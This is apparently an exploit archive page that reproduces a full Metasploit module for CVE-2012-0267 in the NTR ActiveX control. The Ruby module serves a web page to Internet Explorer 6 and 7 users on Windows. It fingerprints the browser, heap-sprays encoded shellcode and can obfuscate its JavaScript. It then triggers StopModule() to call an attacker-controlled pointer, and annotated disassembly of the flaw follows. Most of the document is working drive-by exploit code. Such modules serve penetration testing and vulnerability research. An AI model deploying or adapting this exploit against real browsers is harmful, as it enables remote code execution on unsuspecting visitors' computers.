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NTR ActiveX Control StopModule() Remote Code Execution

NTR ActiveX Control StopModule() Remote Code Execution
Posted Sep 22, 2012
Authored by Carsten Eiram, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in the NTR ActiveX 1.1.8. The vulnerability exists in the StopModule() method, where the lModule parameter is used to dereference memory to get a function pointer, which leads to code execution under the context of the user visiting a malicious web page.

tags | exploit, web, code execution, activex
advisories | CVE-2012-0267, OSVDB-78253
MD5 | de0a843ca0d9e37bb628a6ee0568795c

NTR ActiveX Control StopModule() Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:classid => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
:method => "StopModule",
:rank => NormalRanking
})


def initialize(info = {})
super(update_info(info,
'Name' => 'NTR ActiveX Control StopModule() Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability found in the NTR ActiveX 1.1.8. The
vulnerability exists in the StopModule() method, where the lModule parameter is
used to dereference memory to get a function pointer, which leads to code execution
under the context of the user visiting a malicious web page.
},
'Author' =>
[
'Carsten Eiram', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0267' ],
[ 'OSVDB', '78253' ],
[ 'BID', '51374' ],
[ 'URL', 'http://secunia.com/secunia_research/2012-2/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => ""
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# NTR ActiveX 1.1.8.0
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4'} ]
],
'Privileged' => false,
'DisclosureDate' => 'Jan 11 2012',
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class
)

end

def get_spray(t, js_code, js_nops)

spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var z=1; z < 500; z++) {
heap_obj.alloc(block);
}

JS

return spray

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista SP2
else
return nil
end
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have a setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js = get_spray(my_target, js_code, js_nops)

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

address = 0x0c0c0c0c / 0x134

html = <<-MYHTML
<html>
<body>
<object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
<script>
#{js}
test.StopModule(#{address});
</script>
</body>
</html>
MYHTML

html = html.gsub(/^\t\t/, '')

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end

=begin

The pointer is "controlled" here:

.text:10004449 mov eax, [ebp+arg_0] ; arg_0 is user controlled
.text:1000444C imul eax, 134h ; it looks good
.text:10004452 lea esi, [eax+edi] ; eax is user controlled
.text:10004452 ; edi is a heap pointer initialized while activex loading
.text:10004452 ; (Important note: the default heap isn't being used)
.text:10004452 ;
.text:10004452 ; edi:
.text:10004452 ;
.text:10004452 ; 0:000> !heap -p -a edi
.text:10004452 ; address 01fb370c found in
.text:10004452 ; _HEAP @ 1fb0000
.text:10004452 ; HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
.text:10004452 ; 01fb3668 0373 0000 [01] 01fb3670 01b90 - (busy)
.text:10004452 ; ? ntractivex118!DllUnregisterServer+10d18
.text:10004452 ;
.text:10004452 ; Initialization (while activex loading):
.text:10004452 ; ChildEBP RetAddr Args to Child
.text:10004452 ; 00138510 02a4e147 00001b84 02a4e8fb 00001b84 ntdll!RtlAllocateHeap+0xeac
.text:10004452 ; 00138548 02a4939e 00000000 7dc43038 00e057f8 ntractivex118!DllUnregisterServer+0x8823
.text:10004452 ; 0013855c 7dea5401 02093628 00000000 7dc43038 ntractivex118!DllUnregisterServer+0x3a7a
.text:10004452 ; 00138598 7deaa7f8 00e057f8 00e06154 80004005 mshtml!COleSite::InstantiateObjectFromCF+0x114

And user to get RCE here:

.text:1000446E mov eax, [esi+24h] ; esi can be user influenced
.text:10004471 test eax, eax
.text:10004473 jz short loc_10004477
.text:10004475 call eax ; RCE!

=end

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